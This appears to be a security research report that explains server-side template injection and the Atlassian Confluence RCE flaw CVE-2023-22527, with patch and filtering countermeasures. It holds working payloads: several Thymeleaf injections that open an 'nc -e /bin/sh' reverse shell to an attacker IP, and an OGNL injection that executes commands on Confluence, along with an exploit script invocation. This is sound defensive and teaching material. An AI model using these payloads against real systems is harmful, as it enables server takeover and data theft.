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Research & Technique 
    

 

SSTI & Atlassian Confluence RCE vulnerability (CVE-

2023-22527)

1. Server-Side Template Injection(SSTI) 
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■ How SSTI works 

 
 

① The attacker uses a specific template statement to check if there is an SSTI vulnerability. 

② When the SSTI vulnerability is confirmed, the attacker inserts a malicious template statement to upload 

malicious codes and execute remote commands. 

③ The vulnerable server interprets the attacker's input value as a template statement and returns the result of 

executing the template statement. 

④ The attacker takes over key information from the server by executing the malicious template statement. 
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■ Server-side template engines for individual major languages 

Language Framework Template Engine Examples of template statementes 

Python Flask Jinja2 {{7*7}} 

C# ASP.Net Razor @(7*7) 

Java Springboot Thymeleaf ${7*7} 

JavaScript - Jade = 7*7 

PHP Symphony Twig {{7*7}} 
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■ SSTI attack analysis 

import org.thymeleaf.spring5.SpringTemplateEngine; 

import org.thymeleaf.templateresolver.ITemplateResolver; 

import org.thymeleaf.templateresolver.StringTemplateResolver; 

… (omitted) … 

public class MainController { 

    @RequestMapping("/thymeleaf") 

    @ResponseBody 

    public String thymeleaf(@RequestParam(defaultValue="sktester") String username, HttpServletRequest 

request, HttpServletResponse response) { 

        String template = "<!DOCTYPE html><html lang='en'><head>" + 

        … (omitted) … 

        + name +"</p></body></html>"; 

        TemplateEngine templateEngine = new SpringTemplateEngine(); 

        ITemplateResolver templateResolver = new StringTemplateResolver(); 

        templateEngine.setTemplateResolver(templateResolver); 

        WebContext ctx = new WebContext(request, response, request.getServletContext()); 

        … (omitted) … 

        Writer out = new StringWriter(); 

        templateEngine.process(template, ctx, out); 

        return out.toString();}

Separator Description Example 

${ … } Variable expression <div th:text=”${foo}”></div> 

@{ … } URL link expression 
<li><a th:href=”@{/foo(param1=${param1}, 

param2=${param2})}”>foo</a></li> 

[[ … ]] Direct data access [[${data}]] 

th:text Data access in the tag <h1 th:text=”${data}”>data</h1> 

(※ https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax) 

https://www.thymeleaf.org/doc/tutorials/3.0/uingthymeleaf.html#standard-expression-syntax


 

EQST insight | 6 

Payload [[${7*7}]] 

Input value ?username= %5b%5b%24%7b%37%2a%37%7d%5d%5d 

Payload <a th:text=${7*7}></a> 

Input value 
?username=%3c%61%20%74%68%3a%74%65%78%74%3d%24%7b%37%2a%37%7d 

%3e%3c%2f%61%3e 
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Payload 
<a th:text=”${‘’.getClass().forName(‘java.lang.Runtime’).getRuntime().exec(‘nc –e 

 /bin/sh 192.168.102.61 8888’)}”></a> 

Input value 

?username= <a%20th%3atext%3d”%24%7b%27%27%2egetClass%28%29%2eforName%28%27 

java%2elang%2eRuntime%27%29%2egetRuntime%28%29%2eexec%28%27nc%20-

e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888%27%29%7d”><%2fa> 
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Payload 
<th th:text="${T( java.lang.Runtime).getRuntime().exec('nc -e /bin/sh 192.168.102.61 

8888')}">Test</th> 

Input value 

?username= <th%20th%3atext%3d"%24%7bT%28java%2elang%2eRuntime%29%2egetRuntime 

%28%29%2eexec%28%27nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61 

%208888%27%29%7d">Test<%2fth> 

 

 

 

Payload [[${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("nc -e /bin/sh 192.168.102.61 8888")}]] 

Input value 
?username=%5b%5b%24%7b%23rt%20%3d%20%40java%2elang%2eRuntime%40getRuntime%28%29%2c%

23rt%2eexec%28"nc%20-e%20%2fbin%2fsh%20192%2e168%2e102%2e61%208888"%29%7d%5d%5d 
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■ How to respond to SSTI 

#!/usr/bin/python3 

from flask import * 

 

… (omitted) … 

@app.route('/', methods=[‘POST’,’GET’]) 

def index(): 

    a = int(request.form[‘a’]) 

    return render_template(‘index.html’, a=a) 

… (omitted) …
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Payload {{7*7}} 

Input value ?id=%7b%7b7%2a7%7d%7d 

 

 

Examples of filtering targets 

- = + . , / 

? : ^ $ # @ 

* \ “ ※ ~ & 

% ! ( ) [ ] 

< > { } ` _ 
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2. Atlassian Confluence Server and Data Center remote code 

execution vulnerability (CVE-2023-22527) 

■ Outline of the vulnerability 
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■ Attack scenario 

① The attacker searches for a Confluence server through the OSINT search engine. 

② The attacker uses the CVE-2023-22527 vulnerability to access the victimized server. 

③ The attacker connects to the Reverse Shell by executing remote commands. 

④ The attacker takes control of the victim's server and steals key information.

■ Affected software versions 

S/W type Vulnerable version 

Atlassian Confluence Data Center and Server 

8.0.x 

8.1.x 

8.2.x 

8.3.x 

8.4.x 

8.5.0 ~ 8.5.3 
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■ Test environment configuration information 

Name Information 

Victim 

Ubuntu 22.04.3 LTS 

Atlassian Confluence 8.5.3 

(172.25.48.1) 

Attacker 
Kali Linux 

(192.168.142.135) 

■ Vulnerability test 

https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2023-22527
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$ python3 CVE-2023-22527.py --target [Confluence server address] –-cmd [command] 

 

 

 

https://github.com/Avento/CVE-2023-22527_Confluence_RCE
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■ Detailed analysis of the vulnerability 

 

 

 

https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
https://www.skshieldus.com/download/files/download.do?o_fname=EQST%20insight_%ED%86%B5%ED%95%A9%EB%B3%B8_202209.pdf&r_fname=20220926092549714.pdf
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Separator Description Example 

#var See variable #var = 99 

@class@method(args) Call static method 
@java.util.LinkedHashMap@{“foo”:”foo 

value”, “bar” :”bar value”} 

(※ https://commons.apache.org/dormant/commons-ognl/language-guide.html) 
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?label=\u0027%2b#[OGNL execution statement]%2b\u0027 
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object Whether RCE is possible 

#request[‘.KEY_velocity.struts2.context’] RCE is possible 

#request[‘.freemarker.TemplateModel’] RCE is possible 

#request[‘.freemarker.Request’] Accessible 

 

https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
https://github.com/apache/struts/blob/266d2d4ed526edbb8e8035df94e94a1007d7c360/plugins/velocity/src/main/java/org/apache/struts2/views/velocity/VelocityManager.java
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Input value 

?label=\u0027%2b%23request\u005b\u0027.KEY_velocity.struts2.context\u0027 

\u005d.internalGet(\u0027ognl\u0027).findValue(%23parameters.x,{})%2b\u0027 

&x=@org.apache.struts2.ServletActionContext@getResponse().getWriter().write(( 

new freemarker.template.utility.Execute()).exec({"id"})) 
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■ Countermeasure 

 

Product Patched version 

Confluence Data Center and Confluence Server 8.5.4(LTS) 

Confluence Data Center 
8.6.0(Data Center Only) 

8.7.1(Data Center Only) 

https://confluence.atlassian.com/kb/faq-for-cve-2023-22527-1332810917.html
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■ Reference sites 

 




